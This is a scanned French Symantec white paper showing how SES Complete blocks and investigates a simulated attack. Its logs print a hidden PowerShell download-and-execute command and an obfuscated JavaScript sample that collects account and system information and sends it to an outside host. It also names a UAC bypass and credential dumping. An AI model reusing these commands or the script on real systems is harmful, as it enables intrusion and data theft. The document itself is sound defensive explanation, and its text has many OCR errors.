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LA PROTECTION Blocage proactif de I'attaque

ADAPTATIVE EST L’'UN La protection adaptative est I'un des outils les plus puissants pour bloquer les
DES OUTILS LES PLUS attaques avancées avant que les cybercriminels ne puissent s'infiltrer. Ces derniers
PUISSANTS POUR tentent souvent de dissimuler leurs activités en exploitant des binaires légitimes

du systeme d’exploitation ou d’autres binaires courants tels que les navigateurs
Web ou les visualiseurs/éditeurs de documents. La protection adaptative utilise

BLOQUER LES ATTAQUES

AVANCEES AVANT QUE ces connaissances pour bloguer ces voies d’attaque. Pour ce faire, elle apprend en
LES CYBERCRIMINELS NE premier lieu la facon dont ces applications couramment exploitées fonctionnent
PUISSENT S’INFILTRER actuellement dans I'environnement. Ensuite, une fois qu’elle est certaine de

'absence d'utilisation légitime, elle bloque automatiguement tous les futurs
comportements malveillants.

Premiérement, activez I'apprentissage automatique en accédant a la politique de
protection adaptative et en activant 'option Auto Tune (Réglage automatique),
puis appliquez la politique aux groupes d’appareils appropriés.

Default Adaptive Protection Policy
E POLICY NAME
4 Adaptive Protection
VERSION POLICY TYPE
System
CREATED BY
Details Device Groups Versions Activity History
Trusted Applications Untrusted Applications
General Settingse
D Auto Tune
Schedules a task to set zero prevalence behaviors to Deny automatically. You can review, customize, or snooze the task on the Tasks page.
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La protection adaptative sécurise une grande variété de programmes couramment
utilisés a mauvais escient. Cliquez sur I'une des fleches déroulantes pour afficher
plus d’informations.

Q- Q- Q-

(%) Acrabat

(~) Acrobat Reader

(~) AddInProcess

() AdFind

(~) Any Process

(v) atexe

() Bitsadmin

() Browser

({,:j. Certutil

() cmd.exe

(%) cmsTP

(~) CScript

(v) curl

IZ}Z} Esentutl

Prenons PowerShell comme exemple. PowerShell est un outil d’administration
puissant qui peut faire presgue tout ce que 'administrateur lui demande. Les
attaguants le savent et exploitent également PowerShell, dans I'espoir que leur
activité ressemble a une activité d’administrateur normale. La protection adaptative
apprend la facon dont PowerShell est utilisé dans I'organisation, puis empéche
d’autres utilisations malveillantes de PowerShell tout en autorisant les activités
administratives normales.
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LA PROTECTION Voici un échantillon des comportements de la protection adaptative PowerShell.
LES PROTECTIONS QUI © Powershel
5 »
N’INTERFERERONT PAS APPLICATION BEHAVIOR MITRE PREVALENCE  ACTION
AVEC VOS WORKFLOWS f—
NORMAUX. PowerShell injecting into T1059.001 o S
swvchost.exe (+3 more) @ Learning e o
PowerShell launching Java T1053.001 - R
applications {+ 1 more) @ Learning o .
L T1059.001 M
PowerShell launching iKernel {+1 mare) @ Learning Allow onito Deny
PowerShell accessing network T1059.001 * - e D
via HTTP(s) (+1 more) Learning o o <
PowerShell creating or
o T1059.001 . N RCIT AT
mc:u.dlfylng PowerShell profile (+ 1 more) # Learning Allow onito Deny
script
PowerShell creating PE T1059.001 * - e D
executable {+ 1 more) Learning o o S
PowerShell launching with T1053.001 * o e D
encoded command {+1 more) Learning e S b
PowerShell launching Windows T1055.001 - N
Scripting Hast (Wscript) {+ 1 moare) @ Learning e N
PowerShell launching Windows T1053.001 - e
Met utility (net.exe) {+1 moare) @ Learning e o
PowerShell launching Microsoft ~ T1059.001 Py - N D
HTML Host {+1 more) tearning o - ==
PowerShell injecting running T1059.001 - e
processes (+1 more) @ Learning o o Deim)
PowerShell launching under a T1036 * - e De
different process name {+1 more) Learning e o T

Par défaut, la protection adaptative détermine quelles protections n’interféreront
pas avec vos workflows normaux. Vous pouvez également choisir d’autoriser, de
surveiller ou de refuser un comportement manuellement.

Dans le cas de l'attaque décrite ci-dessus, I'organisation utilise JavaScript dans

le cadre de ses activités normales et I'autorise donc. Cependant, normalement,
JavaScript n'effectue pas de découverte de compte et ne lance pas PowerShell.

Ces opérations sont donc automatiguement blogquées. Le blocage n'est pas effectué
par des signatures, qui peuvent étre contournées par des attaquants obfusquant ou
modifiant autrement leur code. A la place, ce sont les comportements eux-mémes
qui sont blogués afin d'empécher toute tentative d’exploitation.

Dans I'exemple ci-dessous, SESC bloque les éléments clés de 'attague en fonction
de la configuration de la protection adaptative.

TIME 1 DESCRIPTION DISPOSITION PARENT CMD LINE PROCESS COMMAND LINE

Nov 14,2022, 2:09:11 PM windows Scripting Host (WScript) launching PowerShell (actor: ... 1-Process Detection - Blocked "C:\Windows\System32\wscript.exe" jkhert... PowersShell -windowstyle hidden -NoProfile -...
MNowv 14, 2022, 2:09:10 PM PowerShell accessing network via HTTP(s) (actor: PowerShell) (ta... 1-Process Detection - Blocked "C:\Windows\System32\wscript.exe" jkhert... PowersShell -windowstyle hidden -NoProfile -...
Nov 14,2022, 2:09:06 PM  windows Scripting Host (WScript) launching Windows Net utility ... 1-Process Detection - Blocked "C:\Windows\System32\wscript.exe" jkhert... net user
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La protection adaptative est 'une des nombreuses technologies de pointe utilisées par SES Complete pour prévenir les
violations. Grace a ses fonctionnalités de pare-feu, de protection contre les intrusions réseau, de contrdle des périphériques,
de verrouillage du systéme, de détection des exploits en mémoire, de réputation, d’Advanced Machine Learning, d’émulation,
de détection des impostures et de surveillance comportementale, la protection fournie par SES Complete est exhaustive.
Alors que certains concurrents préferent adopter une protection inférieure sous prétexte que « la violation est inévitable »,
nous estimons que la protection est un élément essentiel de I'état de sécurité. En fin de compte, une protection optimale
bloguera de nombreuses attaques, détectera les attaques en cours et incitera certains cybercriminels a s’en prendre a des
cibles plus vulnérables.

Laisseriez-vous votre porte d’entrée ouverte juste parce que vous avez des caméras de sécurité ? De la méme fagon, un état
de sécurité optimal permet de tirer parti d’'une protection et d’'une détection optimales en cas d’échec de la protection.

Méme si les attaquants continuent de modifier leurs techniques, les étapes suivantes seront de toute facon bloguées.

SES Complete est tout simplement une solution de protection puissante, car elle offre plusieurs couches de controle
complémentaires. Pour preuve, SES Complete a recu le prix « Best Enterprise Endpoint » de SE Labs en 2023

(source https://selabs.uk/wp-content/uploads/2023/02/annual-report-2023.pdf page 18) et le prix « Best Protection » d’AV-TEST
en 2022 (derniére année oU ce prix a été décerné ; source https:;/www.av-test.org/en/news/av-test-award-2022-tested-and-
award-winning-security/) afin de récompenser une « protection parfaite, bien supérieure a la moyenne du secteur, contre les
malwares ».

Méme si 'attaquant persiste et modifie ses techniques initiales (ce qui vous alertera au fil du temps), les étapes suivantes de
I'attaque sont bloguées, comme indiqué ici.

> Nov 16, 2022, 3:35:31 PM Powershell created a suspicious PE executable 1-Process Detection - Blocked  "C:\Windows\system32\ChangePk.exe” "PowerShell.exe” -windowstyle hidden -exec bypass -C "IEX (New

g

> Nov 16, 2022, 3:35:34 PM windows Scripting Host {WScript) launched sc.exe 1-Process Detection - Blocked ~ "PowerShell.exe” -windowstyle hidden -exec by... \Windows\system32\sc.exe™ query

0

> Nov 16,2022, 3:35:34 PM PowerShell executing W \Windows\system32\sc.exe™ query

s Service Control utility (sc.exe) (actor...  1-Process Detection - Blocked ~ "PowerShell.exe” -windowstyle hidden -exec by...

A

> Nov 16, 2022, 3:35:35 PM Windows Scripting Host {WScript) launching Windows Net utility (n 1-Process Detection - Blocked  "PowerShell.exe” -windowstyle hidden -exec by... ystem32\net.exe” share

> Nov 16, 2022, 3:35:36 PM Powershell launching Windows Net utility (net.exe) (actor: Powersh... 1-Process Detection - Blocked ~ "PowerShell.exe” -windowstyle hidden -exec by... "C:\Windows\system32\net.exe” share

Et si ’attaque réussit malgré tout ?

Méme si l'attague a été stoppée a plusieurs reprises avant méme d’avoir trouvé une porte d’entrée, la défense en profondeur de
Symantec continue de tourner. A partir de maintenant, nous simulons ce qui se passerait en réglant SES Complete sur le mode
spécial Monitor Only (Surveiller uniguement). SES Complete nous alertera des activités suspectes mais ne les blogquera pas.
Méme s'il est déconseillé de choisir le mode Surveiller uniguement dans un environnement de production, nous le faisons dans le
cas présent pour voir comment SES Complete réagirait au reste de I'attaque en supposant que chague étape précédente ne soit
pas bloguée.

SES Complete vous alerte avec un incident de haute gravité vous avertissant du vol d’'informations d’authentification et de
"'usurpation de droits.

D4 DESCRIPTION SEVERITY ENDPOINT COUNT

05 Credential Dumping, OS Credential Dumping: LSASS Memary, Scheduled Task/Job, Process Injection detected across 2 devices

& 100062 h High 2
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Les vues suivantes permettent de résumer 'attagque. Premierement, la description de l'incident montre certaines des techniques
MITRE ATT&CK les plus critiques utilisées par les attaquants.

@ Comment e Close @ Configure Rule 0 Deny File ° More Actions /‘ »

O%O 100062 @
. 0OS Credential Dumping, OS Credential Dumping: LSASS Memory, Scheduled Task/Job, Process Injection detected
across 2 devices

® High

B High Open Advanced Analytics Jan 17,2023 12:52:12 PM
SEVERITY STATUS DETECTION TYPE FIRST SEEN
2 Yes Lateral Movement Jan 17, 2023 12:54:56 PM
16 Jan 17, 2023 01:18:05 PM

Isolate the affected machines to investigate the full dumped recorder data. Update any outdated or unpatched
systems and upgrade the security protection software. Enforce strong authentication and access control through the
whole network.

La section MITRE ATT&CK Detections (Détections MITRE ATT&CK) affiche une liste plus détaillée de 'ensemble des tactiques et
techniques ATT&CK utilisées dans I'attaque.

v MITRE ATT&CK Detections @
TACTIC(S) TECHNIQUE(S)

@ Enterprise: Initial N

A P Valid Accounts

2 Access
} Enterprise: Windows Management Instrumentation , Scheduled Task/Job , Command and Scripting Interpreter , Command and Scripting Interpreter: PawerShell , Scripting , Exploitation for Client Execution , User Execution , System
* Execution Services: Service Execution

v Enterprise: "
ped ,p Scheduled Task/job , Valid Accounts

- Persistence

b7y Ent ise: Privil
& E;‘c:::[:: "WIES®  Stheduled Task/job , Process Injection , Valid Accounts , Abuse Elevation Control Mechanism: Bypass User Account Control

w1 Enterprise: Defense Process Injection, Scripting , Indicator Removal on Host: File Deletion , Valid Accounts , File Deletion , Deobfuscate/Decode Files or Information , Signed Binary Proxy Execution , Virtualization/Sandbox Evasion: System Checks ,

~ Evasion Abuse Elevation Control Mechanism: Bypass User Account Control , Subvert Trust Controls

™ Enterprise: . N : .

iy : 05 Credential Dumping , 05 Credential Dumping: LSASS Memo

= Credential Access B L ik

Enterarise: System Service Discovery , System Network Configuration Discovery , Remote System Discovery , Systemn Owner/User Discovery , System Network Connections Discovery , Pracess Discovery , System Information Discovery ,
€] ms[m‘;ery = Account Discovery , Account Discovery: Local Account , Account Discovery: Domain Account, System Time Discovery , Network Share Discovery , Virtualization/Sandbox Evasion: System Checks , Software Discovery: Security
Software Discovery

Détection, examen et traitement des attaques avancées avec Symantec Endpoint Security Complete | LIVRE BLANC | 6



v Symantec.

by Broadcom

La vue Lineage Visualization (Visualisation de la tracabilité) est tres utile pour voir comment I'attaque a progressé au sein des
différents processus. Dans cette vue, nous voyons que chrome.exe a lancé wscript.exe, qui a démarré I'attaque. WScript appelle
ensuite whoami, net et systeminfo pour déterminer s’il s’agit d’'une machine qui intéresse 'attaguant. Powershell.exe est ensuite
appelé pour effectuer un contournement du contréle de compte d’utilisateur (UAC).

En cliquant sur un des processus, comme ici avec wscript.exe, nous obtenons plus de détails sur celui-ci, comme la ligne de
commande, l'utilisateur et le niveau d’intégrité.

wscript.exe
Victim-1

[T 3400822057df8B42df210246995385a0441dc1208
1d60ad15bd481e062e7f100

wscript.exe 1
"C:\Windows\System32\wscript.exe”

jkhertgbn.js

1-Process Activity - Launched
edradmin
& 3-Medium

Jan 17, 2023 12:52:15.762 PM

0O®

Enterprise Command and Scripting
Execution Interpreter

Plus bas dans le graphique de tracabilité, nous voyons que PowerShell lance slui.exe, qui démarre une autre instance de slui.exe,
qui lance changepk.exe, qui démarre lui-méme PowerShell. Toutes ces actions constituent un contournement du contréle de
compte d’utilisateur tirant parti des outils de gestion de licences Windows. Pour plus d’informations, consultez la page
https:/mattharrOey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b. Dans SES Complete,

cela est indigué par la derniére version de PowerShell exécutée au niveau d'intégrité élevé.

=-9128 O ® powershell.exe
Victim-1

9f914d42 i 501044acd85a32d58aaef1419
d4oafddfasd3basfebccdaf

[T,

"PowerShell.exe” -w

iindowstyle hidden -exec

o bypass -C "IEX (New-Object
Net.WebClient).Downloadstring("https://drive

11016
1-Process Activity - Launched
(7] edradmin

Jan 17, 2023 12:52:33.396 PM

—~ o
D@

DICHIN

powershell exe

o]

o6
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Plus bas encore dans le graphigue de tracabilité, nous voyons que PowerShell appelle wmic. Ensuite, nous voyons une ligne rouge
en pointillés et un autre processus PowerShell. Cela indigue gu’'un mouvement latéral s’est produit a I'endroit ou wmic a provoqué
le lancement de PowerShell sur une autre machine. Notez que le nom d’appareil de la derniere instance PowerShell est a présent
Victim-2, ce qui indigque gue la menace est passée de Victim-1a Victim-2.

& powershell.exe

Victim-2

© = B 5f914d427067e2155010442cd85a32d58aaef1419
d404fddfasdabasfaeecd9f

[ 1] powershell -windowstyle hidden -nop -exec
bypass -c IEX (New-Object
Met.WebClient).DownloadString( https:/ /drive.
google.com/uc?

(1] export=downlozdid =] G
.}

LT 12168
1-Process Activity - Launched
e edradmin

5-High

0[O]C)

~ powershell.exe

~ @0 [

Jan 17, 2023 12:53:37.466 PM

La zone Events (Evénements) affiche, de maniére trés détaillée, chaque étape de 'attaque. Voici une capture d’écran du
tout début de I'attaque, quand I'utilisateur lance Chrome. Chrome effectue une activité réseau, télécharge le code JavaScript
malveillant, puis lance wscript.exe pour I'exécuter.

TIME DESCRIPTION ATT&CK TECHNIQUE NAME PROCESS COMMAND LINE EVENT TYPE ID DEVICE NAME
> Jan 17,2023, 12:52:12 PM explorer.exe launched chrome.exe. User Execution "C:\Users\edradmin\AppData\Roaming\Google C...  8001-Process Activity Victim-1
> Jan 17, 2023, 12:52:14 PM Outbound: chrome.exe sent 618 byte...  Application Layer Protoc... + 1 other BOO7-Host Network Activity — Victim-1
> Jan 17,2023, 12:52:15 PM An untrusted process launched a sys...  Process Injection "CSIDL_PROFILE\appdata\roaming\google chrome... 8027-Process Detection Victim-1
> Jan 17, 2023, 12:52:15 PM Outbound: chrome.exe sent 806 byte...  Application Layer Protoc... + 1 other BOO7-Host Network Activity — Victim-1
> Jan 17,2023, 12:52:15 PM chrome.exe created javascript[1]. Ingress Tool Transfer BO03-File Activity Victim-1
> Jan 17,2023, 12:52:15 PM chrome.exe created jkhertgbn,js. Ingress Tool Transfer B003-File Activity Victim-1
> Jan 17,2023, 12:52:15 PM chrome.exe launched wscript.exe. Command and Scripting... + 1 other "C:\Windows\System32\wscript.exe” jkhertgbn js 8001-Process Activity Victim-1

| LIVRE BLANC | 8
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UN DES ASPECTS Un des aspects extrémement utiles de cette analyse est que SES Complete
EXTREMEMENT UTILES DE déchiffre automatiquement les scripts obfusqués, codés et chiffrés. Le code
JavaScript téléchargé et exécuté par Chrome dans le cadre de cette attaque est

CETTE ANALYSE E'ST QUE obfusqué au point gu’un opérateur humain ne peut plus le déchiffrer.

SES COMPLETE DECHIFFRE

AUTOMATIQUEMENT LES J javascript - Notepad - o x
z File Edit Format Wiew Hel

SCRIPTS OBFUSQU'ES’ var _Bx1673b3=_8x57d8;FFunction(_Bx43FBeB,_8x4c8331){var_* _Bx20eblb=_0x57d8, 0x439117= 8x43f0ed();while A

CODES ET CH I FFRES_ (N[ 1) {try{var _8x245d5b=parseInt(_Bx2@eblb(@x153))/0x1*(parselnt(_0x208eblb(@x15e))/0x2)+parselnt

(_Bx2@eblb(@x154))/0x3*(parselnt(_0x20eblb(0x158))/0x4)+parselnt(_0x20eblb(8x151))/@x5+parselnt
(_Bx20eblb(@x163))/0x6+-parselnt(_0x20eblb(0x157))/0x7+-parselnt(_0x20eblb(@x15b))/@x8*(-parselnt
(_Bx2@eblb(@x16e))/0x9)+-parselnt(_Bx20eblb(@x169))/0xa;if(_0x245d5b===_0x4cBaal)break;else _0x439117
[“push ](_8x439117 "shift" ]()); }eatch(_0x29967b){ 0x439117[ push’ ](_0x439117[ "shift’'1());}}}
(_Bx47a2,0xalccl));var oShell=WScript[_ 0x1673b3(0x168)](_0x1673b3(0x14d)),strAppData=oShell

[ *SpecialFolders®]({_8x1673b3(@x161)),0FileSystem=WScript[_0x1673b3(0x168)](_0x1673b3

(0x159) ), strFileName=strAppData+ \x5ctest.tmp ' ;oFileSystem[_0x1673b3(0x16b)](strFileName)&&oFileSystem
[_8x1673b3(@x15a) ](strFileName);var oFile=oFileSystem[_0x1673b3(0x166)](strFilelame,!!
[1),0Exechoami=oShell[_@x1673b3(0x15f)](_0x1673b3(0x164)),strOutputiWhoami=oExeckhoami] "StdOut"]
[*ReadAll ' ]();oFile[ 0x1673b3(0x170)](_0x1673b3(0x16c)),oFile[ 0x1673b3(0x170)](strOutputWhoami);var
oExecNetUser=0Shell[_0x1673b3(8x15f)](_0x1673b3(8x150)), strlutputletUser=oExecletUser[_0x1673b3(8x14e)]
[*ReadAll ' ]();oFile[ 0x1673b3(0x1708)](_0x1673b3(0x167)),0File[ 0x1673b3(0x178)](strOutputletlUser);var
strErriletUser=oExecletUser[ 'StdErr' ][_8x1673b3(8x15¢c)]();oFile[_8x1673b3(0x178)](_©x1673b3(0x171)),0File
[_8x1673b3(@x170) ] (strErrietUser);var oExecSystemInfo=oShell[ Exec’](_0x1673b3

(0x16F) ), strOutputSystemInfo=oExecSystemInfo[_0x1673b3(0x14e) ][_0x1673b3(0x15c)]();oFile[ 0x1673b3
(8x170) ] (_0x1673b3(0x152)),0File[_0x1673b3(0x170)](strOutputSystemInfo);var
strErrSystemInfo=oExecSystemInfo[_8x1673b3(0x156) ][_0x1673b3(8x15¢)]();oFile[_0x1673b3(0x170)](_0x1673b3
(@x14c)),oFile[ "WriteLine ](strErrSystemInfo);var xmlHttp=WScript[_0x1673b3(0x168)](_0x1673b3

(0x162) ) ;xmlHttp[_0x1673b3(0x15d)](_0x1673b3(0x16a), "https://httpbin.org/anything’,![]),xmlHttp
[_ex1673b3(@x155)]( Content-Type', ©Bx1673b3(0x160));var iFile=oFileSystem[_0x1673b3(0x16d)]
(strFileName,@x1),data=iFile[ 0x1673b3(0x15c)]();xmlHttp[ send’](data);var oExecPS=o0Shell[_8x1673b3 o

Ln1, Col1 100%  Windows (CRLF) UTF-8

Cependant, Symantec Endpoint Detection and Response (SEDR) décode le script
pour vous et vous montre exactement ce que le script effectue réellement. Il vous
indique que le script a été exécuté et affiche également des valeurs variables,

telles que les données de découverte de compte qui sont stockées sur un média
intermédiaire lors de I'exécution du script, comme indiqué ci-dessous. Cela simplifie
grandement I'analyse et permet de confirmer que le script est effectivement
malveillant et quelles sont les activités effectuées.

|Host CreateObject|"W3
IWshShell3 SpecialFol
|Host CreateObject{"Scripting FileSystemObject”);
FileSystem? FileExists("C:\Users\edradmir\AppData\Reaming\test.tmp");
edradmin\AppData\Roaming\test tmp")
\edradmin\AppData\Reaming\testtmp’, “true’);

e TS e

wscript.exe deleted HKEY_USERS\S-1... stry Value Activity

'shShell3.Exec("whoami.exe");
Exec.StdOut();
wscript.exe created test.tmp. — [TextStream ReadAll]
[TextStream, WriteLi
[TextStream, WriteLi

Jctivity

whoami output: ")
ictim-T\edradmin

wscript.exe set HKEY_USERS\S-1-5-21... 'shShell3.Exec("net user"); stry Value Activity
Exec.StdOut();
[TextStream.ReadAll(]

[TextStream Writeli

et user output: ")

windows Scripting Host (WScript) lau.. - MextStream. Writel ess Detection
User accounts for WVICTIM-1

PowerShell accessing network via HT..  -— Administrator DefaultAccount edradmin ess Detection
Guest speadmin”);

IWshExec.StdErr();
[TextStream.ReadAll(
[TextStream Writeli

wscript.exe launched powershell.exe. ess Activity

[TextStream.!

IWshShell3.Exe
AMSI event detected for wscript.exe IHost.CreateObject("Wscript.shell ™) BOT8-AMSI Activity
Outbound: wscript.exe sent 350 byte... - Victim-1 8007-Host Network Activity
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SES COMPLETE ASSURE SES Complete répond a vos besoins en matiére de
LE SUIVI D’UNE QUANTITE données

IMPRE§SIONNANTE DE SES Complete assure le suivi d’'une quantité impressionnante de données.

DONNEES. Chaque terminal client génére des centaines de milliers d’événements par
jour, soit I'équivalent d’environ 1 Go de données par terminal client et par jour.
Cela représente une quantité de données faramineuse. Avec de tels volumes,
SES Complete a besoin d’'un stockage de pointe.

Cest la qu’une base de données distribuée entre en jeu. Les données qui seront tres
probablement nécessaires sont conservées dans la base de données cloud, ou elles
sont le plus facilement accessibles. Les données restantes sont conservées sur les
terminaux clients pour étre utilisées en cas de besoin.

Il existe deux cas de figure ou les données sont déplacées du magasin de terminaux
clients vers le cloud.

1. Chaqgue fois qu’une activité suspecte se produit, SES Complete examine la
tracabilité de I'attagque pour trouver tous les acteurs impliqués. Il récupére ensuite
toutes les activités enregistrées associées, ce qui vous fait gagner du temps, car
vous disposez de toutes les activités associées disponibles pour votre examen.

2. Vous pouvez choisir de déplacer les données des terminaux clients vers le cloud
lorsgue vous les utilisez fréequemment.

Quel type de données est normalement conservé dans le cloud plutét que sur les
terminaux clients ?

Cloud Terminal client

Lancements de processus Chargements de DLL
Toutes les activités suspectes Création, modification et suppression
de fichiers

Activités liées a un groupe de processus Création, modification et suppression
ayant effectué des activités suspectes de clé/valeur de Registre

Récapitulatifs des activités réseau Détails de l'activité réseau

Dans la politique de détection et de réponse, les administrateurs contrélent les
données enregistrées et 'emplacement ou elles sont stockées. Les politiques
peuvent étre adaptées a 'ensemble de I'organisation, a des groupes ou a des
machines spécifiques.

Configuration de la collecte d’activités des terminaux clients
SES Complete vous permet de contrdler le volume de données stockées sur les
terminaux clients.

Endpoint Activity Recorder Configuration @ Also supports @ [l

Configure the global policy for Symantec Endpoint Security managed clients.

Database Size 5 GB v

Détection, examen et traitement des attaques avancées avec Symantec Endpoint Security Complete | LIVRE BLANC | 10



CHAQUE FOIS QU'UNE
ACTIVITE SUSPECTE SE
PRODUIT, SES COMPLETE
EXAMINE LA TRACABILITE
DE L’ATTAQUE POUR
TROUVER TOUS LES
ACTEURS IMPLIQUES.

IL RECUPERE ENSUITE
TOUTES LES ACTIVITES
ENREGISTREES ASSOCIEES,
CE QUI VOUS FAIT GAGNER
DU TEMPS, CAR VOUS
DISPOSEZ DE TOUTES LES
ACTIVITES ASSOCIEES
DISPONIBLES POUR VOTRE
EXAMEN.
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Pour un controéle précis des données stockées et de leur emplacement, ajoutez des
régles Endpoint Activity Recorder (Enregistreur d’activité de terminal).

X
Add Endpoint Activity Recorder Rule

Create a rule to exclude processes from the Endpoint Activity Recorder. This rule applies to all managed
endpoints.

() Do not record Q
. Record but do not submit @
(! Record and submit (7]

() Disable monitering Q

Event Type
Host Netwark Activity v

Actor Type
@ sha2ss

File path
Actor
Enter actor SHA2.

Actor Command Line

Enter actor command line. Supports wildcard and regex.

Operation
All v

Target Type
. Destination IP
) URL

Target

Crtar dactinatinm TN Connnrte wildeard and vamaes

Cancel

Les utilisateurs ont ainsi un controéle précis sur les types d’événements (processus,
fichier, registre et réseau) enregistrés, ainsi que sur 'emplacement de stockage des
données.

Exécution d’un indicateur de recherches d’attaque, de vidages complets et de
vidages de processus au niveau du terminal client

Pour effectuer une recherche au sein des données des terminaux clients, accédez a
'onglet Investigate (Examiner), sélectionnez Endpoint (Terminal client) et appuyez
sur le bouton Endpoint Search (Recherche de terminal client). Il existe deux types
de recherche :

* Endpoint Activity Recorder (Enregistreur d’activités de terminal) : consultez la
base de données d’activités qui se sont produites au niveau du terminal client.

* Evidence of Compromise (Preuve de compromission) : examinez I'état actuel du
terminal client pour rechercher des cibles telles que des fichiers, des entrées de
Registre ou des processus en cours d’exécution.
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S| PLUSIEURS RECHERCHES
ENDPOINT ACTIVITY
RECORDER (ENREGISTREUR
D’ACTIVITE DE TERMINAL)
SONT PLANIFIEES,

LES DONNEES DES
TERMINAUX CLIENTS
PEUVENT D’ABORD ETRE
CHARGEES SUR LE CLOUD
POUR ACCELERER LA
RECHERCHE.
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Voici un exemple de recherche de terminal client pour le trafic C&C. Ici, nous
recherchons une activité réseau avec trois serveurs C&C connus.

X
Endpoint Search v
Search Type
@ Endpoint Activity Recorder
) Evidence of Compromise
Search Description* @
Looking for C&C traffic across 2 Groups of Endpoints
Time Range @
Last 24 Hours v
Target @
Specify one of Device, Device Groups or both to trigger search
SelectView Devices and Groups | 2 Groups &0 Device selected
Filter by B2 rovencea
DESTATONT 198511002 OR | OESTNATONE 1985110017 | OR | DESINATONI 106751407
4
Operators
€0 (Ao or
Custom Filter
Fele

Si plusieurs recherches Endpoint Activity Recorder (Enregistreur d’activité de
terminal) sont planifiées, les données des terminaux clients peuvent d’abord étre
chargées sur le cloud pour accélérer la recherche. Vous pouvez choisir de charger
toutes les données, toutes les données d’'une période spécifique ou les données
d’un seul processus.

Dans la capture d’écran ci-dessous, un fichier suspect se faisant passer pour

Google Chrome a été trouvé. Nous savons qu’il ne s’agit pas du véritable Chrome,
car il n‘est pas signé, il a été vu sur tres peu de terminaux clients et il est tout
nouveau. Pour obtenir un vidage de tous les événements d’enregistreur d’activité de
terminal client liés aux activités gu’il a effectuées, sélectionnez More Actions (Plus
d’actions), puis Process Dump (Vidage de processus).

o Add to App Contral Policy @ Make Trusted Updater @ Send to VirusTotal ° More Actions ¥ /‘ h ¢

Process Dump

D chrome.exe Add to Allow List
FILE NAME .
Add to Deny List
Low 2 or more weeks ago 1 Unsigned Submit To Sandbox
RISK FIRST SEEN ON DEVICES SEEN ON SIGNER
Quarantine File
1 Hide
INTENSITY LEVEL
Get File
Details Devices Policies Activity History

Security Summary @

Intensity Level 1

Blocks or logs known malware and known bad files.

Last Seen On Dec 5, 2022, 10:30:37 PM

Global Prevalence Very Few Users
This file has been seen by fewer than 5 Symantec users.
Global First Seen Very New

Symantec has known about this file approximately 2 days

Historical Reputation Unproven

There is not enough information about this file to recommend it
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= Pour charger toutes les données d’enregistreur d’activité de terminal client a partir
LES DONNEES
’ d’un terminal client, sélectionnez le terminal client, appuyez sur More Actions (Plus
D’INVESTIGATION

COLLECTENT DES d’actions), puis sur Full Dump (Vidage complet).

INFORMATIONS SUR L’ETAT @ ~ddtopevice Group € Delete Device (@) run Liveupdate @) scannow @) More Actions 7 X
ACTUEL DU TERMINAL CLIENT, P
NOTAMMENT LES PROCESSUS = Victim-1 © o

EN COURS D’EXECUTION, LES R

SERVICES, LES CONN}EXIONS AR haaressive bevice Groun s @ start Lve shel sesson

RE,SEAU OUVERTES/ECOUTES 11/24/2022, 1:20:45 FW Windows 10 Professional Edition 10.0.1.. @ ruioumo

RESEAU, LUSURPATION DE pTuenaTD as version

@ Capture Forensic Data

DROITS, LES INFORMATIONS
SUR LES UTILISATEURS/
GROUPES ET BIEN PLUS

Pour afficher les résultats du vidage complet ou du vidage de processus, accédez a
ENCORE. , ! . o . ) :
'onglet Investigate (Examiner) et sélectionnez Endpoint (Terminal client).

Details Files Applications More w

E Clot Endpoint
o ]
© Filter by @ Status
Select your query from below Quick Fiter or Enter Results (Showing 1to 10f 1) e Endpoint Search | 50F5 Columns Selected v
@] query
SEARCH DESCRIPTION SEARCH STATUS STARTED BY DATE TYPE
] .
4 chrome.exe on Victim-1 - Pracess dump request © icdm_ver637badce Dec 5, 2022, 10:55:45 PM Process Dump
Operators
( a0 oR
Quick Filters
‘What would you like to filter?
m > Status
ar [
T8

La sélection du vidage donne une liste tres détaillée des activités effectuées par le terminal client ou le processus. Ici, le vidage
du processus montre la version suspecte de chrome.exe qui exécute le trafic C&C, crée du code JavaScript malveillant, puis
exécute ce dernier.

> Nov 28, 2022, 7:14:25 PM  chrome.exe established connection from 172.28.48.7:51488 to 108.177.98.132:443, Victim-1 B8007-Host Network Activity

> Nov 28, 2022, 7:14:25 PM I Outbound: chrome.exe sent 806 bytes to 108.177.98.132:443 and received 23418 bytes from 172.28... I Vietim-1  B007-Host Network Activity

> Nov 28,2022, 7:14:25FM  chrome.exe established connection from 172.28.48.7:51484 to 199.36.153.11:80. Victim-1 8007-Host Network Activity

> Nov 28, 2022, 7:14:25 PM I(hmmg,gxg created jkhertgbn.js. I Victim-1 BOO3-File Activity

> Nov 28,2022, 7:14:25 PM  chrome.exe opened cversions.1.db. Victim-1  B003-File Activity

> Nov 28, 2022, 7:14:25PM  chrome.exe opened {afbf3f1a-EeeB-4c77-af34-c647e37ca0d%}.1.ver0x0000000000000011.db. Victim-1 BOO3-File Activity

> Nov 28, 2022, 7:14:25 PM I chrome.exe launched wscript.exe, I Victim-1 8001-Process Activity "C:\Windows\System32\wscript.exe” jkhertghn js

Demandes de données d’investigation

Les demandes de données d’investigation ressemblent un peu aux vidages complets et aux vidages de processus dans la mesure
ou elles communiquent avec les terminaux clients spécifiés pour collecter des données. Les données d’investigation collectent
des informations sur I'état actuel du terminal client, notamment les processus en cours d’exécution, les services, les connexions
réseau ouvertes/écoutes réseau, 'usurpation de droits, les informations sur les utilisateurs/groupes et bien plus encore. Pour

plus d'informations, consultez la page https:/techdocs.broadcom.com/us/en/symantec-security-software/endpoint-security-
and-management/endpoint-security/sescloud/Endpoint-Detection-and-Response/EDR-Actions/Collecting-forensic-data.nhtml.

Et nous ajoutons constamment de nouvelles données telles que I'historique du navigateur et les fichiers téléchargés.
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Pour lancer une demande de données d’investigation, sélectionnez le terminal client, appuyez sur More Actions (Plus d’actions),
puis sur Capture Forensic Data (Capturer les données d’investigation).

e Add to Device Group @ Delete Device e Run LiveUpdate @ Scan Now ° Mare Actions
@ Collect Remote Diagnostic Logs

@ Restart
Quarantine Device
® Compromised Default 0
DEVICE STATE

DEVICE GROUP FILES AT RISK @ Start Live Shell Session

@ Full Dump

@ Capture Forensic Data

v X

Victim-1

DEVICE NAME

12/5/2022, 11:15:59 PM
LAST UPDATED

windows 10 Professional Edition 10.0.1...
05 VERSION

Comme pour I'affichage des vidages complets ou de processus, pour afficher les données d’examen, sélectionnez Investigate
(Examiner), puis Endpoint (Terminal client).

Endpoint
(]
Filter by @ Status
Select your query from below Quick filcer or Enter Results (Showing 1to 2 of 2) e Endpoint Search | 50f5 Columns Selected v
query.
